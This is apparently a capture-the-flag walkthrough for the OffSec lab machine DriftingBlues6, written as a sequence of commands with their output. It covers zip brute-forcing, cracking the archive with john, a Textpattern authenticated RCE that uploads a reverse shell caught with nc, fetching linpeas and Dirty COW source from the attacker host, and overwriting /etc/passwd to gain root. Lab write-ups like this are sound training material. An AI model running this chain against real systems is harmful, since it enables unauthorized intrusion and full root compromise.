

tags: Offsec PG Play Easy Linux # DriftingBlues6

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.217.219 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.217.219:80

PORT    STATE SERVICE REASON  VERSION
80/tcp  open  http    syn-ack Apache httpd 2.2.22 ((Debian))
|_ http-server-header: Apache/2.2.22 (Debian)
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-title: driftingblues
|_ http-robots.txt: 1 disallowed entry
|_ /textpattern/textpattern
``` `http://192.168.217.219/robots.txt`
```

User-agent: \*

Disallow: /textpattern/textpattern

dont forget to add .zip extension to your dir-brute

;)

``` fuff+zip

```
(kali㉿kali)-[~/pgplay]
└─$ ffuf -u http://192.168.217.219/FUZZ.zip -w /home/kali/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt

# [Status: 200, Size: 750, Words: 44, Lines: 76, Duration: 57ms]
# [Status: 200, Size: 750, Words: 44, Lines: 76, Duration: 58ms]
spammer [Status: 200, Size: 179, Words: 3, Lines: 2, Duration: 54ms]
:: Progress: [220560/220560] :: Job [1/1] :: 743 req/sec :: Duration: [0:05:04] :: Errors: 0 ::
``` Go to `http://192.168.217.219/spammer.zip` to download, use john to crack the password
```

```
(kali㉿kali)-[~/pgplay]
└─$ zip2john spammer.zip > ziphash.txt
```

```
(kali㉿kali)-[~/pgplay]
└─$ john ziphash.txt --wordlist=/home/kali/rockyou.txt
```

myspace4 (spammer.zip/creds.txt)

``` Extract to get cred.txt

```
mayer:lionheart
``` You can log in to `http://192.168.217.219/textpattern/textpattern`
Search for [TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated)] (https://www.exploit-db.com/exploits/49996)
, Go to `Content`->`files`uploadshell.php
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp80
```

Go to <http://192.168.217.219/textpattern/files/shell.php>

``` After getting a reverse shell, use linpeas.sh

```
$ python -c 'import pty; pty.spawn("/bin/bash")'
```

```
www-data@driftingblues:/tmp$ wget 192.168.45.192:8000/linpeas.sh
www-data@driftingblues:/tmp$ chmod +x linpeas.sh
www-data@driftingblues:/tmp$ ./linpeas.sh
```

```
[+] [CVE-2016-5195] dirtycow

Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: [ debian=7|8 ], RHEL=5{kernel:2.6.(18|24|33)-*}, RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31}, RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7}, ubuntu=16.04|14.04|12.04
Download URL: https://www.exploit-db.com/download/40611
Comments: For RHEL/CentOS see exact vulnerable versions here:
https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: [ debian=7|8 ], RHEL=5|6|7, ubuntu=14.04|12.04, ubuntu=10.04{kernel:2.6.32-21-generic}, ubuntu=16.04{kernel:4.4.0-21-generic}
Download URL: https://www.exploit-db.com/download/40839
ext-url: https://www.exploit-db.com/download/40847
Comments: For RHEL/CentOS see exact vulnerable versions here:
https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
``` Search[CVE-2016-5195] (https://github.com/firefart/dirtycow), get rootafterget proof.txt in /root
```

```
www-data@driftingblues:/tmp$ wget 192.168.45.192:8000/dirty.c
www-data@driftingblues:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
gcc -pthread dirty.c -o dirty -lcrypt
www-data@driftingblues:/tmp$ chmod +x dirty
chmod +x dirty
www-data@driftingblues:/tmp$./dirty
./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: firefart
```

```
Complete line:
firefart:fiK57D3GJz/tk0:0:pwned:/root:/bin/bash
```

```
www-data@driftingblues:/ $ su firefart
Password: firefart
```

```
firefart@driftingblues:~# cat proof.txt
cat proof.txt
7bbf063ebea7e88a004ef52884bf63ea
```

---